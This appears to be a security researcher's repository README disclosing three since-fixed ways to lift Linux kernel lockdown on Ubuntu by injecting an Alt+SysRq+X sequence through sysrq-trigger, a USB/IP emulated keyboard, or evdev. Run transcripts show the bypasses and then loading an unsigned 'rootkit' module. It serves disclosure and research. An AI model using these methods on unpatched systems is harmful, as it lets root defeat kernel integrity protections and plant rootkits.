This repo demonstrates some ways to disable or bypass kernel lockdown on Ubuntu (and some other) kernels without physical access to the machine, essentially bypassing this security feature.
(Updated 21.03.2020.) At this point, all proposed bypass methods have been fixed on Ubuntu, Fedora and Debian (see this for details).
Once upon a time, while working on some USB fuzzing related stuff, I was about to trace the kernel via
kprobe on my new laptop, but instead...
perf-tools/bin# ./kprobe 'r:usb usb_control_msg rv=$retval' Tracing kprobe usb. Ctrl-C to end. ./kprobe: line 228: echo: write error: Operation not permitted ERROR: adding kprobe "r:usb usb_control_msg $retval". Last 2 dmesg entries (might contain reason): ... [ 235.815912] Lockdown: kprobe: Use of kprobes is restricted; see man kernel_lockdown.7 Exiting.
Linux kernel lockdown is a security feature that aims at restricting root's ability to modify the kernel at runtime. See more details in "Kernel lockdown in 4.17?" by Jonathan Corbet and "Linux kernel lockdown and UEFI Secure Boot" by Matthew Garrett. After many years of being in review, the lockdown patchset has been merged into the upstream kernel in version 5.4. Ubuntu has applied a version of this patchset to their kernels in 2018.
Lockdown is enabled by default on my ThinkPad X1 Carbon laptop with Ubuntu Bionic:
# uname -a Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # dmesg ... [ 0.000000] secureboot: Secure boot enabled [ 0.000000] Kernel is locked down from EFI secure boot; see man kernel_lockdown.7 ...
The early versions of the lockdown patchset integrated kernel lockdown with UEFI secure boot and had a way to disable lockdown at runtime by sending an Alt+SysRq+X key sequence on an attached physical keyboard. Later those patches were dropped from the upstream patchset, but not from the distro backports.
While some ways to trigger Alt+SysRq+X from software (e.g. via
/dev/uinput) were accounted for and disabled, a few still remain.
Here I'll show some methods to disable lockdown by injecting an Alt+SysRq+X key sequence without having physical access to the machine.
The lockdown patchset included a patch that disallowed disabling lockdown by triggering a SysRq via
Unfortunately, the early versions of this patch contained a bug and the restriction hadn't actually been enforced. On Ubuntu the bug has been introduced with the first backport of the lockdown patches (since release in April 2018 for Bionic), and fixed in December 2019.
Disabling lockdown with this method is trivial as shown here.
# uname -a Linux x1 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # cd 00-sysrq-trigger/ # ./run.sh ... Done! Check dmesg. # dmesg ... [ 315.760278] sysrq: SysRq : [ 315.760282] This sysrq operation is disabled from userspace. [ 315.760292] Disabling Secure Boot restrictions [ 315.760296] Lifting lockdown
# uname -a Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # cd 00-sysrq-trigger/ # ./run.sh ... Done! Check dmesg. # dmesg ... [ 208.412031] sysrq: SysRq : [ 208.412032] This sysrq operation is disabled from userspace.
(The fix actually went into
Another way to turn off lockdown is to emulate a USB keyboard via USB/IP (as long as it's enabled in the kernel) and send an Alt+SysRq+X key combination through it. This has actually been previously pointed out by Jann Horn here.
Ubuntu's kernels have USB/IP enabled (
CONFIG_USBIP_CORE=m) with signed
vhci_hcd modules provided in the
(Jann has also mentioned the Dummy HCD/UDC module, which can indeed by used together with e.g. GadgetFS to do the same trick, but
CONFIG_USB_DUMMY_HCD is not enabled in Ubuntu kernels.)
Here you can find the code that emulates a keyboard over USB/IP and sends an Alt+SysRq+X key combination. This script shows how to run it. It's possible to simplify the implementation of this method by directly interacting with the VHCI driver to emulate a USB device, but I didn't bother with this.
# uname -a Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # cd 01-usbip/ # ./run.sh ... + modprobe vhci_hcd + modprobe usbip_core + echo 1 + gcc keyboard.c -o keyboard + usbip attach -r 127.0.0.1 -b 1-1 + ./keyboard waiting for connection... connection from 127.0.0.1 OP_REQ_IMPORT + sleep 3 USBIP_CMD_SUBMIT control request bRequestType: 0x80 (IN), bRequest: 0x6, wValue: 0x100, wIndex: 0x0, wLength: 64 USBIP_CMD_SUBMIT control request bRequestType: 0x80 (IN), bRequest: 0x6, wValue: 0x100, wIndex: 0x0, wLength: 18 ... + echo 'Done! Check dmesg.' Done! Check dmesg. # dmesg [ 422.346185] vhci_hcd vhci_hcd.0: USB/IP Virtual Host Controller [ 422.346190] vhci_hcd vhci_hcd.0: new USB bus registered, assigned bus number 5 ... [ 423.233918] input: x as /devices/platform/vhci_hcd.0/usb5/5-1/5-1:1.0/0003:046D:C312.0002/input/input19 [ 423.293702] hid-generic 0003:046D:C312.0002: input,hidraw1: USB HID v1.10 Keyboard [x] on usb-vhci_hcd.0-1/input0 [ 423.429609] sysrq: SysRq : Disabling Secure Boot restrictions [ 423.429612] Lifting lockdown
While Ubuntu's backport of the lockdown patchset disallows injecting input events through
uinput, it does nothing about
evdev, that can also be used for input injection as long as you have a connected device that supports the required keys (e.g. a built-in laptop keyboard).
This method doesn't really give anything on top of the previous one from a practical standpoint, and it's actually fixed by the same patch that drops support for lifting lockdown via SysRq.
# uname -a Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # cd 02-evdev # ./run.sh + echo 1 + gcc ./evdev-sysrq.c -o evdev-sysrq + ./evdev-sysrq checking /dev/input/event0 EV_KEY supported checking /dev/input/event1 checking /dev/input/event10 checking /dev/input/event11 checking /dev/input/event12 checking /dev/input/event13 checking /dev/input/event14 checking /dev/input/event15 checking /dev/input/event16 EV_KEY supported checking /dev/input/event2 EV_KEY supported checking /dev/input/event3 EV_KEY supported KEY_SYSRQ supported EV_SYN supported found device /dev/input/event3 sending Alt+SysRq+X sequence done # dmesg ... [ 192.723788] sysrq: SysRq : Disabling Secure Boot restrictions [ 192.723791] Lifting lockdown
What happens now that lockdown has been disabled?
At the very least I can now use
kprobe on my laptop.
(No need to waste time remembering that tricky key combination sequence every time.)
perf-tools/bin# ./kprobe 'r:usb usb_control_msg rv=$retval' Tracing kprobe usb. Ctrl-C to end. kworker/3:2-984  d... 334.012577: usb: (hub_ext_port_status+0x8b/0x130 <- usb_control_msg) rv=0x4 kworker/3:2-984  d... 334.012590: usb: (usb_clear_port_feature+0x35/0x40 <- usb_control_msg) rv=0x0 kworker/3:2-984  d... 334.012595: usb: (hub_ext_port_status+0x8b/0x130 <- usb_control_msg) rv=0x4
And of course it's now also possible to do other fun stuff like loading unsigned kernel modules.
# uname -a Linux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux # cd rootkit # make ... # insmod rootkit.ko insmod: ERROR: could not insert module rootkit.ko: Required key not available # cd ../01-usbip # ./run.sh ... Done! Check dmesg. # dmesg | grep 'Lifting lockdown' [ 146.480046] Lifting lockdown # cd ../rootkit # insmod rootkit.ko # dmesg | grep rootkit [ 175.953572] rootkit: loading out-of-tree module taints kernel. [ 175.953574] rootkit: module license 'unspecified' taints kernel. [ 175.953621] rootkit: module verification failed: signature and/or required key missing - tainting kernel [ 175.953975] rootkit successfully loaded